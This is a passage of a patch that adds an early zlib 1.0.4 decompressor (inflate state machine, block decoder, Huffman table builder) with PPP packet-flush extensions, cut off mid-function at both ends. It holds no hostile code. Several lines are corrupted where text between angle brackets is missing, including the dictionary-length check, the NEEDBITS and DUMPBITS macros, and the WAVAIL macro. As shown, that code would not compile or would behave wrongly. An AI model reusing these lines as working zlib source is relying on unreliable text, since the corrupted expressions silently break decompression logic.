(uLong)NEXTBYTE << 24; + z->state->mode = DICT3; + case DICT3: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 16; + z->state->mode = DICT2; + case DICT2: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 8; + z->state->mode = DICT1; + case DICT1: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE; + z->adler = z->state->sub.check.need; + z->state->mode = DICT0; + return Z_NEED_DICT; + case DICT0: + z->state->mode = BAD; + z->msg = (char*)"need dictionary"; + z->state->sub.marker = 0; /* can try inflateSync */ + return Z_STREAM_ERROR; + case BLOCKS: + r = inflate_blocks(z->state->blocks, z, r); + if (f == Z_PACKET_FLUSH && z->avail_in == 0 && z->avail_out != 0) + r = inflate_packet_flush(z->state->blocks); + if (r == Z_DATA_ERROR) + { + z->state->mode = BAD; + z->state->sub.marker = 0; /* can try inflateSync */ + break; + } + if (r != Z_STREAM_END) + return r; + r = Z_OK; + inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); + if (z->state->nowrap) + { + z->state->mode = DONE; + break; + } + z->state->mode = CHECK4; + case CHECK4: + NEEDBYTE + z->state->sub.check.need = (uLong)NEXTBYTE << 24; + z->state->mode = CHECK3; + case CHECK3: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 16; + z->state->mode = CHECK2; + case CHECK2: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 8; + z->state->mode = CHECK1; + case CHECK1: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE; + + if (z->state->sub.check.was != z->state->sub.check.need) + { + z->state->mode = BAD; + z->msg = (char*)"incorrect data check"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + Trace((stderr, "inflate: zlib check ok\n")); + z->state->mode = DONE; + case DONE: + return Z_STREAM_END; + case BAD: + return Z_DATA_ERROR; + default: + return Z_STREAM_ERROR; + } + + empty: + if (f != Z_PACKET_FLUSH) + return r; + z->state->mode = BAD; + z->msg = (char *)"need more for packet flush"; + z->state->sub.marker = 0; /* can try inflateSync */ + return Z_DATA_ERROR; +} + + +int inflateSetDictionary(z_streamp z, const Bytef *dictionary, uInt dictLength) +{ + uInt length = dictLength; + + if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) + return Z_STREAM_ERROR; + + if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; + z->adler = 1L; + + if (length >= ((uInt)1<state->wbits)) + { + length = (1<state->wbits)-1; + dictionary += dictLength - length; + } + inflate_set_dictionary(z->state->blocks, dictionary, length); + z->state->mode = BLOCKS; + return Z_OK; +} + +/* + * This subroutine adds the data at next_in/avail_in to the output history + * without performing any output. The output buffer must be "caught up"; + * i.e. no pending output (hence s->read equals s->write), and the state must + * be BLOCKS (i.e. we should be willing to see the start of a series of + * BLOCKS). On exit, the output will also be caught up, and the checksum + * will have been updated if need be. + */ + +int inflateIncomp(z_streamp z) +{ + if (z->state->mode != BLOCKS) + return Z_DATA_ERROR; + return inflate_addhistory(z->state->blocks, z); +} + + +int inflateSync(z_streamp z) +{ + uInt n; /* number of bytes to look at */ + Bytef *p; /* pointer to bytes */ + uInt m; /* number of marker bytes found in a row */ + uLong r, w; /* temporaries to save total_in and total_out */ + + /* set up */ + if (z == Z_NULL || z->state == Z_NULL) + return Z_STREAM_ERROR; + if (z->state->mode != BAD) + { + z->state->mode = BAD; + z->state->sub.marker = 0; + } + if ((n = z->avail_in) == 0) + return Z_BUF_ERROR; + p = z->next_in; + m = z->state->sub.marker; + + /* search */ + while (n && m < 4) + { + if (*p == (Byte)(m < 2 ? 0 : 0xff)) + m++; + else if (*p) + m = 0; + else + m = 4 - m; + p++, n--; + } + + /* restore */ + z->total_in += (uLong)(p - z->next_in); + z->next_in = p; + z->avail_in = n; + z->state->sub.marker = m; + + /* return no joy or set up to restart on a new block */ + if (m != 4) + return Z_DATA_ERROR; + r = z->total_in; w = z->total_out; + inflateReset(z); + z->total_in = r; z->total_out = w; + z->state->mode = BLOCKS; + return Z_OK; +} + +#undef NEEDBYTE +#undef NEXTBYTE +/* --- inflate.c */ + +/* +++ infblock.c */ +/* infblock.c -- interpret and process block types to last block + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "infblock.h" */ + +/* +++ inftrees.h */ +/* inftrees.h -- header to use inftrees.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* Huffman code lookup table entry--this entry is four bytes for machines + that have 16-bit pointers (e.g. PC's in the small or medium model). */ + +typedef struct inflate_huft_s FAR inflate_huft; + +struct inflate_huft_s { + union { + struct { + Byte Exop; /* number of extra bits or operation */ + Byte Bits; /* number of bits in this code or subcode */ + } what; + Bytef *pad; /* pad structure to a power of 2 (4 bytes for */ + } word; /* 16-bit, 8 bytes for 32-bit machines) */ + union { + uInt Base; /* literal, length base, or distance base */ + inflate_huft *Next; /* pointer to next level of table */ + } more; +}; + +#ifdef DEBUG_ZLIB + extern uInt inflate_hufts; +#endif + +extern int inflate_trees_bits OF(( + uIntf *, /* 19 code lengths */ + uIntf *, /* bits tree desired/actual depth */ + inflate_huft * FAR *, /* bits tree result */ + z_streamp )); /* for zalloc, zfree functions */ + +extern int inflate_trees_dynamic OF(( + uInt, /* number of literal/length codes */ + uInt, /* number of distance codes */ + uIntf *, /* that many (total) code lengths */ + uIntf *, /* literal desired/actual bit depth */ + uIntf *, /* distance desired/actual bit depth */ + inflate_huft * FAR *, /* literal/length tree result */ + inflate_huft * FAR *, /* distance tree result */ + z_streamp )); /* for zalloc, zfree functions */ + +extern int inflate_trees_fixed OF(( + uIntf *, /* literal desired/actual bit depth */ + uIntf *, /* distance desired/actual bit depth */ + inflate_huft * FAR *, /* literal/length tree result */ + inflate_huft * FAR *)); /* distance tree result */ + +extern int inflate_trees_free OF(( + inflate_huft *, /* tables to free */ + z_streamp )); /* for zfree function */ + +/* --- inftrees.h */ + +/* +++ infcodes.h */ +/* infcodes.h -- header to use infcodes.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +struct inflate_codes_state; +typedef struct inflate_codes_state FAR inflate_codes_statef; + +extern inflate_codes_statef *inflate_codes_new OF(( + uInt, uInt, + inflate_huft *, inflate_huft *, + z_streamp )); + +extern int inflate_codes OF(( + inflate_blocks_statef *, + z_streamp , + int)); + +extern void inflate_codes_free OF(( + inflate_codes_statef *, + z_streamp )); + +/* --- infcodes.h */ + +/* +++ infutil.h */ +/* infutil.h -- types and macros common to blocks and codes + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +#ifndef _INFUTIL_H +#define _INFUTIL_H + +typedef enum { + TYPE, /* get type bits (3, including end bit) */ + LENS, /* get lengths for stored */ + STORED, /* processing stored block */ + TABLE, /* get table lengths */ + BTREE, /* get bit lengths tree for a dynamic block */ + DTREE, /* get length, distance trees for a dynamic block */ + CODES, /* processing fixed or dynamic block */ + DRY, /* output remaining window bytes */ + DONEB, /* finished last block, done */ + BADB} /* got a data error--stuck here */ +inflate_block_mode; + +/* inflate blocks semi-private state */ +struct inflate_blocks_state { + + /* mode */ + inflate_block_mode mode; /* current inflate_block mode */ + + /* mode dependent information */ + union { + uInt left; /* if STORED, bytes left to copy */ + struct { + uInt table; /* table lengths (14 bits) */ + uInt index; /* index into blens (or border) */ + uIntf *blens; /* bit lengths of codes */ + uInt bb; /* bit length tree depth */ + inflate_huft *tb; /* bit length decoding tree */ + } trees; /* if DTREE, decoding info for trees */ + struct { + inflate_huft *tl; + inflate_huft *td; /* trees to free */ + inflate_codes_statef + *codes; + } decode; /* if CODES, current state */ + } sub; /* submode */ + uInt last; /* true if this block is the last block */ + + /* mode independent information */ + uInt bitk; /* bits in bit buffer */ + uLong bitb; /* bit buffer */ + Bytef *window; /* sliding window */ + Bytef *end; /* one byte after sliding window */ + Bytef *read; /* window read pointer */ + Bytef *write; /* window write pointer */ + check_func checkfn; /* check function */ + uLong check; /* check on output */ + +}; + + +/* defines for inflate input/output */ +/* update pointers and return */ +#define UPDBITS {s->bitb=b;s->bitk=k;} +#define UPDIN {z->avail_in=n;z->total_in+=(uLong)(p-z->next_in);z->next_in=p;} +#define UPDOUT {s->write=q;} +#define UPDATE {UPDBITS UPDIN UPDOUT} +#define LEAVE {UPDATE return inflate_flush(s,z,r);} +/* get bytes and bits */ +#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} +#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} +#define NEXTBYTE (n--,*p++) +#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} +/* output bytes */ +#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) +#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} +#define WWRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} +#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} +#define NEEDOUT {if(m==0){WWRAP if(m==0){FLUSH WWRAP if(m==0) LEAVE}}r=Z_OK;} +#define OUTBYTE(a) {*q++=(Byte)(a);m--;} +/* load local pointers */ +#define LOAD {LOADIN LOADOUT} + +/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ +extern uInt inflate_mask[17]; + +/* copy as much as possible from the sliding window to the output area */ +extern int inflate_flush OF(( + inflate_blocks_statef *, + z_streamp , + int)); + +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + +#endif +/* --- infutil.h */ + +#ifndef NO_DUMMY_DECL +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ +#endif + +/* Table for deflate from PKZIP's appnote.txt. */ +local const uInt border[] = { /* Order of the bit length code lengths */ + 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; + +/* + Notes beyond the 1.93a appnote.txt: + + 1. Distance pointers never point before the beginning of the output + stream. + 2. Distance pointers can point back across blocks, up to 32k away. + 3. There is an implied maximum of 7 bits for the bit length table and + 15 bits for the actual data. + 4. If only one code exists, then it is encoded using one bit. (Zero + would be more efficient, but perhaps a little confusing.) If two + codes exist, they are coded using one bit each (0 and 1). + 5. There is no way of sending zero distance codes--a dummy must be + sent if there are none. (History: a pre 2.0 version of PKZIP would + store blocks with no distance codes, but this was discovered to be + too harsh a criterion.) Valid only for 1.93a. 2.04c does allow + zero distance codes, which is sent as one code of zero bits in + length. + 6. There are up to 286 literal/length codes. Code 256 represents the + end-of-block. Note however that the static length tree defines + 288 codes just to fill out the Huffman codes. Codes 286 and 287 + cannot be used though, since there is no length base or extra bits + defined for them. Similarily, there are up to 30 distance codes. + However, static trees define 32 codes (all 5 bits) to fill out the + Huffman codes, but the last two had better not show up in the data. + 7. Unzip can check dynamic Huffman blocks for complete code sets. + The exception is that a single code would not be complete (see #4). + 8. The five bits following the block type is really the number of + literal codes sent minus 257. + 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits + (1+6+6). Therefore, to output three times the length, you output + three codes (1+1+1), whereas to output four times the same length, + you only need two codes (1+3). Hmm. + 10. In the tree reconstruction algorithm, Code = Code + Increment + only if BitLength(i) is not zero. (Pretty obvious.) + 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) + 12. Note: length code 284 can represent 227-258, but length code 285 + really is 258. The last length deserves its own, short code + since it gets used a lot in very redundant files. The length + 258 is special since 258 - 3 (the min match length) is 255. + 13. The literal/length and distance code bit lengths are read as a + single stream of lengths. It is possible (and advantageous) for + a repeat code (16, 17, or 18) to go across the boundary between + the two sets of lengths. + */ + + +void inflate_blocks_reset(inflate_blocks_statef *s, z_streamp z, uLongf *c) +{ + if (s->checkfn != Z_NULL) + *c = s->check; + if (s->mode == BTREE || s->mode == DTREE) + ZFREE(z, s->sub.trees.blens); + if (s->mode == CODES) + { + inflate_codes_free(s->sub.decode.codes, z); + inflate_trees_free(s->sub.decode.td, z); + inflate_trees_free(s->sub.decode.tl, z); + } + s->mode = TYPE; + s->bitk = 0; + s->bitb = 0; + s->read = s->write = s->window; + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(0L, Z_NULL, 0); + Trace((stderr, "inflate: blocks reset\n")); +} + + +inflate_blocks_statef *inflate_blocks_new(z_streamp z, check_func c, uInt w) +{ + inflate_blocks_statef *s; + + if ((s = (inflate_blocks_statef *)ZALLOC + (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) + return s; + if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) + { + ZFREE(z, s); + return Z_NULL; + } + s->end = s->window + w; + s->checkfn = c; + s->mode = TYPE; + Trace((stderr, "inflate: blocks allocated\n")); + inflate_blocks_reset(s, z, &s->check); + return s; +} + + +#ifdef DEBUG_ZLIB + extern uInt inflate_hufts; +#endif +int inflate_blocks(inflate_blocks_statef *s, z_streamp z, int r) +{ + uInt t; /* temporary storage */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + + /* copy input/output information to locals (UPDATE macro restores) */ + LOAD + + /* process input based on current state */ + while (1) switch (s->mode) + { + case TYPE: + NEEDBITS(3) + t = (uInt)b & 7; + s->last = t & 1; + switch (t >> 1) + { + case 0: /* stored */ + Trace((stderr, "inflate: stored block%s\n", + s->last ? " (last)" : "")); + DUMPBITS(3) + t = k & 7; /* go to byte boundary */ + DUMPBITS(t) + s->mode = LENS; /* get length of stored block */ + break; + case 1: /* fixed */ + Trace((stderr, "inflate: fixed codes block%s\n", + s->last ? " (last)" : "")); + { + uInt bl, bd; + inflate_huft *tl, *td; + + inflate_trees_fixed(&bl, &bd, &tl, &td); + s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); + if (s->sub.decode.codes == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + s->sub.decode.tl = Z_NULL; /* don't try to free these */ + s->sub.decode.td = Z_NULL; + } + DUMPBITS(3) + s->mode = CODES; + break; + case 2: /* dynamic */ + Trace((stderr, "inflate: dynamic codes block%s\n", + s->last ? " (last)" : "")); + DUMPBITS(3) + s->mode = TABLE; + break; + case 3: /* illegal */ + DUMPBITS(3) + s->mode = BADB; + z->msg = (char*)"invalid block type"; + r = Z_DATA_ERROR; + LEAVE + } + break; + case LENS: + NEEDBITS(32) + if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) + { + s->mode = BADB; + z->msg = (char*)"invalid stored block lengths"; + r = Z_DATA_ERROR; + LEAVE + } + s->sub.left = (uInt)b & 0xffff; + b = k = 0; /* dump bits */ + Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); + s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); + break; + case STORED: + if (n == 0) + LEAVE + NEEDOUT + t = s->sub.left; + if (t > n) t = n; + if (t > m) t = m; + zmemcpy(q, p, t); + p += t; n -= t; + q += t; m -= t; + if ((s->sub.left -= t) != 0) + break; + Tracev((stderr, "inflate: stored end, %lu total out\n", + z->total_out + (q >= s->read ? q - s->read : + (s->end - s->read) + (q - s->window)))); + s->mode = s->last ? DRY : TYPE; + break; + case TABLE: + NEEDBITS(14) + s->sub.trees.table = t = (uInt)b & 0x3fff; +#ifndef PKZIP_BUG_WORKAROUND + if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) + { + s->mode = BADB; + z->msg = (char*)"too many length or distance symbols"; + r = Z_DATA_ERROR; + LEAVE + } +#endif + t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); + if (t < 19) + t = 19; + if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + DUMPBITS(14) + s->sub.trees.index = 0; + Tracev((stderr, "inflate: table sizes ok\n")); + s->mode = BTREE; + case BTREE: + while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) + { + NEEDBITS(3) + s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; + DUMPBITS(3) + } + while (s->sub.trees.index < 19) + s->sub.trees.blens[border[s->sub.trees.index++]] = 0; + s->sub.trees.bb = 7; + t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, + &s->sub.trees.tb, z); + if (t != Z_OK) + { + r = t; + if (r == Z_DATA_ERROR) { + ZFREE(z, s->sub.trees.blens); + s->mode = BADB; + } + LEAVE + } + s->sub.trees.index = 0; + Tracev((stderr, "inflate: bits tree ok\n")); + s->mode = DTREE; + case DTREE: + while (t = s->sub.trees.table, + s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) + { + inflate_huft *h; + uInt i, j, c; + + t = s->sub.trees.bb; + NEEDBITS(t) + h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); + t = h->word.what.Bits; + c = h->more.Base; + if (c < 16) + { + DUMPBITS(t) + s->sub.trees.blens[s->sub.trees.index++] = c; + } + else /* c == 16..18 */ + { + i = c == 18 ? 7 : c - 14; + j = c == 18 ? 11 : 3; + NEEDBITS(t + i) + DUMPBITS(t) + j += (uInt)b & inflate_mask[i]; + DUMPBITS(i) + i = s->sub.trees.index; + t = s->sub.trees.table; + if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || + (c == 16 && i < 1)) + { + inflate_trees_free(s->sub.trees.tb, z); + ZFREE(z, s->sub.trees.blens); + s->mode = BADB; + z->msg = (char*)"invalid bit length repeat"; + r = Z_DATA_ERROR; + LEAVE + } + c = c == 16 ? s->sub.trees.blens[i - 1] : 0; + do { + s->sub.trees.blens[i++] = c; + } while (--j); + s->sub.trees.index = i; + } + } + inflate_trees_free(s->sub.trees.tb, z); + s->sub.trees.tb = Z_NULL; + { + uInt bl, bd; + inflate_huft *tl, *td; + inflate_codes_statef *c; + + bl = 9; /* must be <= 9 for lookahead assumptions */ + bd = 6; /* must be <= 9 for lookahead assumptions */ + t = s->sub.trees.table; +#ifdef DEBUG_ZLIB + inflate_hufts = 0; +#endif + t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), + s->sub.trees.blens, &bl, &bd, &tl, &td, z); + if (t != Z_OK) + { + if (t == (uInt)Z_DATA_ERROR) { + ZFREE(z, s->sub.trees.blens); + s->mode = BADB; + } + r = t; + LEAVE + } + Tracev((stderr, "inflate: trees ok, %d * %d bytes used\n", + inflate_hufts, sizeof(inflate_huft))); + if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) + { + inflate_trees_free(td, z); + inflate_trees_free(tl, z); + r = Z_MEM_ERROR; + LEAVE + } + /* + * this ZFREE must occur *BEFORE* we mess with sub.decode, because + * sub.trees is union'd with sub.decode. + */ + ZFREE(z, s->sub.trees.blens); + s->sub.decode.codes = c; + s->sub.decode.tl = tl; + s->sub.decode.td = td; + } + s->mode = CODES; + case CODES: + UPDATE + if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) + return inflate_flush(s, z, r); + r = Z_OK; + inflate_codes_free(s->sub.decode.codes, z); + inflate_trees_free(s->sub.decode.td, z); + inflate_trees_free(s->sub.decode.tl, z); + LOAD + Tracev((stderr, "inflate: codes end, %lu total out\n", + z->total_out + (q >= s->read ? q - s->read : + (s->end - s->read) + (q - s->window)))); + if (!s->last) + { + s->mode = TYPE; + break; + } + if (k > 7) /* return unused byte, if any */ + { + Assert(k < 16, "inflate_codes grabbed too many bytes") + k -= 8; + n++; + p--; /* can always return one */ + } + s->mode = DRY; + case DRY: + FLUSH + if (s->read != s->write) + LEAVE + s->mode = DONEB; + case DONEB: + r = Z_STREAM_END; + LEAVE + case BADB: + r = Z_DATA_ERROR; + LEAVE + default: + r = Z_STREAM_ERROR; + LEAVE + } +} + + +int inflate_blocks_free(inflate_blocks_statef *s, z_streamp z, uLongf *c) +{ + inflate_blocks_reset(s, z, c); + ZFREE(z, s->window); + ZFREE(z, s); + Trace((stderr, "inflate: blocks freed\n")); + return Z_OK; +} + + +void inflate_set_dictionary(inflate_blocks_statef *s, const Bytef *d, uInt n) +{ + zmemcpy((charf *)s->window, d, n); + s->read = s->write = s->window + n; +} + +/* + * This subroutine adds the data at next_in/avail_in to the output history + * without performing any output. The output buffer must be "caught up"; + * i.e. no pending output (hence s->read equals s->write), and the state must + * be BLOCKS (i.e. we should be willing to see the start of a series of + * BLOCKS). On exit, the output will also be caught up, and the checksum + * will have been updated if need be. + */ +int inflate_addhistory(inflate_blocks_statef *s, z_stream *z) +{ + uLong b; /* bit buffer */ /* NOT USED HERE */ + uInt k; /* bits in bit buffer */ /* NOT USED HERE */ + uInt t; /* temporary storage */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + + if (s->read != s->write) + return Z_STREAM_ERROR; + if (s->mode != TYPE) + return Z_DATA_ERROR; + + /* we're ready to rock */ + LOAD + /* while there is input ready, copy to output buffer, moving + * pointers as needed. + */ + while (n) { + t = n; /* how many to do */ + /* is there room until end of buffer? */ + if (t > m) t = m; + /* update check information */ + if (s->checkfn != Z_NULL) + s->check = (*s->checkfn)(s->check, q, t); + zmemcpy(q, p, t); + q += t; + p += t; + n -= t; + z->total_out += t; + s->read = q; /* drag read pointer forward */ +/* WWRAP */ /* expand WWRAP macro by hand to handle s->read */ + if (q == s->end) { + s->read = q = s->window; + m = WAVAIL; + } + } + UPDATE + return Z_OK; +} + + +/* + * At the end of a Deflate-compressed PPP packet, we expect to have seen + * a `stored' block type value but not the (zero) length bytes. + */ +int inflate_packet_flush(inflate_blocks_statef *s) +{ + if (s->mode != LENS) + return Z_DATA_ERROR; + s->mode = TYPE; + return Z_OK; +} +/* --- infblock.c */ + +/* +++ inftrees.c */ +/* inftrees.c -- generate Huffman trees for efficient decoding + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "inftrees.h" */ + +char inflate_copyright[] = " inflate 1.0.4 Copyright 1995-1996 Mark Adler "; +/* + If you use the zlib library in a product, an acknowledgment is welcome + in the documentation of your product. If for some reason you cannot + include such an acknowledgment, I would appreciate that you keep this + copyright string in the executable of your product. + */ + +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + +/* simplify the use of the inflate_huft type with some defines */ +#define base more.Base +#define next more.Next +#define exop word.what.Exop +#define bits word.what.Bits + + +local int huft_build OF(( + uIntf *, /* code lengths in bits */ + uInt, /* number of codes */ + uInt, /* number of "simple" codes */ + const uIntf *, /* list of base values for non-simple codes */ + const uIntf *, /* list of extra bits for non-simple codes */ + inflate_huft * FAR*,/* result: starting table */ + uIntf *, /* maximum lookup bits (returns actual) */ + z_streamp )); /* for zalloc function */ + +local voidpf falloc OF(( + voidpf, /* opaque pointer (not used) */ + uInt, /* number of items */ + uInt)); /* size of item */ + +/* Tables for deflate from PKZIP's appnote.txt. */ +local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ + 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, + 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; + /* see note #13 above about 258 */ +local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ + 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, + 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ +local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ + 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, + 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, + 8193, 12289, 16385, 24577}; +local const uInt cpdext[30] = { /* Extra bits for distance codes */ + 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, + 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, + 12, 12, 13, 13}; + +/* + Huffman code decoding is performed using a multi-level table lookup. + The fastest way to decode is to simply build a lookup table whose + size is determined by the longest code. However, the time it takes + to build this table can also be a factor if the data being decoded + is not very long. The most common codes are necessarily the + shortest codes, so those codes dominate the decoding time, and hence + the speed. The idea is you can have a shorter table that decodes the + shorter, more probable codes, and then point to subsidiary tables for + the longer codes. The time it costs to decode the longer codes is + then traded against the time it takes to make longer tables. + + This results of this trade are in the variables lbits and dbits + below. lbits is the number of bits the first level table for literal/ + length codes can decode in one step, and dbits is the same thing for + the distance codes. Subsequent tables are also less than or equal to + those sizes. These values may be adjusted either when all of the + codes are shorter than that, in which case the longest code length in + bits is used, or when the shortest code is *longer* than the requested + table size, in which case the length of the shortest code in bits is + used. + + There are two different values for the two tables, since they code a + different number of possibilities each. The literal/length table + codes 286 possible values, or in a flat code, a little over eight + bits. The distance table codes 30 possible values, or a little less + than five bits, flat. The optimum values for speed end up being + about one bit more than those, so lbits is 8+1 and dbits is 5+1. + The optimum values may differ though from machine to machine, and + possibly even between compilers. Your mileage may vary. + */ + + +/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ +#define BMAX 15 /* maximum bit length of any code */ +#define N_MAX 288 /* maximum number of codes in any set */ + +#ifdef DEBUG_ZLIB + uInt inflate_hufts; +#endif + +local int huft_build( +uIntf *b, /* code lengths in bits (all assumed <= BMAX) */ +uInt n, /* number of codes (assumed <= N_MAX) */ +uInt s, /* number of simple-valued codes (0..s-1) */ +const uIntf *d, /* list of base values for non-simple codes */ +const uIntf *e, /* list of extra bits for non-simple codes */ +inflate_huft * FAR *t, /* result: starting table */ +uIntf *m, /* maximum lookup bits, returns actual */ +z_streamp zs /* for zalloc function */ +) +/* Given a list of code lengths and a maximum table size, make a set of + tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR + if the given code set is incomplete (the tables are still built in this + case), Z_DATA_ERROR if the input is invalid (an over-subscribed set of + lengths), or Z_MEM_ERROR if not enough memory. */ +{ + + uInt a; /* counter for codes of length k */ + uInt c[BMAX+1]; /* bit length count table */ + uInt f; /* i repeats in table every f entries */ + int g; /* maximum code length */ + int h; /* table level */ + register uInt i; /* counter, current code */ + register uInt j; /* counter */ + register int k; /* number of bits in current code */ + int l; /* bits per table (returned in m) */ + register uIntf *p; /* pointer into c[], b[], or v[] */ + inflate_huft *q; /* points to current table */ + struct inflate_huft_s r; /* table entry for structure assignment */ + inflate_huft *u[BMAX]; /* table stack */ + uInt v[N_MAX]; /* values in order of bit length */ + register int w; /* bits before this table == (l * h) */ + uInt x[BMAX+1]; /* bit offsets, then code stack */ + uIntf *xp; /* pointer into x */ + int y; /* number of dummy codes added */ + uInt z; /* number of entries in current table */ + + + /* Generate counts for each bit length */ + p = c; +#define C0 *p++ = 0; +#define C2 C0 C0 C0 C0 +#define C4 C2 C2 C2 C2 + C4 /* clear c[]--assume BMAX+1 is 16 */ + p = b; i = n; + do { + c[*p++]++; /* assume all entries <= BMAX */ + } while (--i); + if (c[0] == n) /* null input--all zero length codes */ + { + *t = (inflate_huft *)Z_NULL; + *m = 0; + return Z_OK; + } + + + /* Find minimum and maximum length, bound *m by those */ + l = *m; + for (j = 1; j <= BMAX; j++) + if (c[j]) + break; + k = j; /* minimum code length */ + if ((uInt)l < j) + l = j; + for (i = BMAX; i; i--) + if (c[i]) + break; + g = i; /* maximum code length */ + if ((uInt)l > i) + l = i; + *m = l; + + + /* Adjust last length count to fill out codes, if needed */ + for (y = 1 << j; j < i; j++, y <<= 1) + if ((y -= c[j]) < 0) + return Z_DATA_ERROR; + if ((y -= c[i]) < 0) + return Z_DATA_ERROR; + c[i] += y; + + + /* Generate starting offsets into the value table for each length */ + x[1] = j = 0; + p = c + 1; xp = x + 2; + while (--i) { /* note that i == g from above */ + *xp++ = (j += *p++); + } + + + /* Make a table of values in order of bit lengths */ + p = b; i = 0; + do { + if ((j = *p++) != 0) + v[x[j]++] = i; + } while (++i < n); + n = x[g]; /* set n to length of v */ + + + /* Generate the Huffman codes and for each, make the table entries */ + x[0] = i = 0; /* first Huffman code is zero */ + p = v; /* grab values in bit order */ + h = -1; /* no tables yet--level -1 */ + w = -l; /* bits decoded == (l * h) */ + u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ + q = (inflate_huft *)Z_NULL; /* ditto */ + z = 0; /* ditto */ + + /* go through the bit lengths (k already is bits in shortest code) */ + for (; k <= g; k++) + { + a = c[k]; + while (a--) + { + /* here i is the Huffman code of length k bits for value *p */ + /* make tables up to required level */ + while (k > w + l) + { + h++; + w += l; /* previous table always l bits */ + + /* compute minimum size table less than or equal to l bits */ + z = g - w; + z = z > (uInt)l ? l : z; /* table size upper limit */ + if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ + { /* too few codes for k-w bit table */ + f -= a + 1; /* deduct codes from patterns left */ + xp = c + k; + if (j < z) + while (++j < z) /* try smaller tables up to z bits */ + { + if ((f <<= 1) <= *++xp) + break; /* enough codes to use up j bits */ + f -= *xp; /* else deduct codes from patterns */ + } + } + z 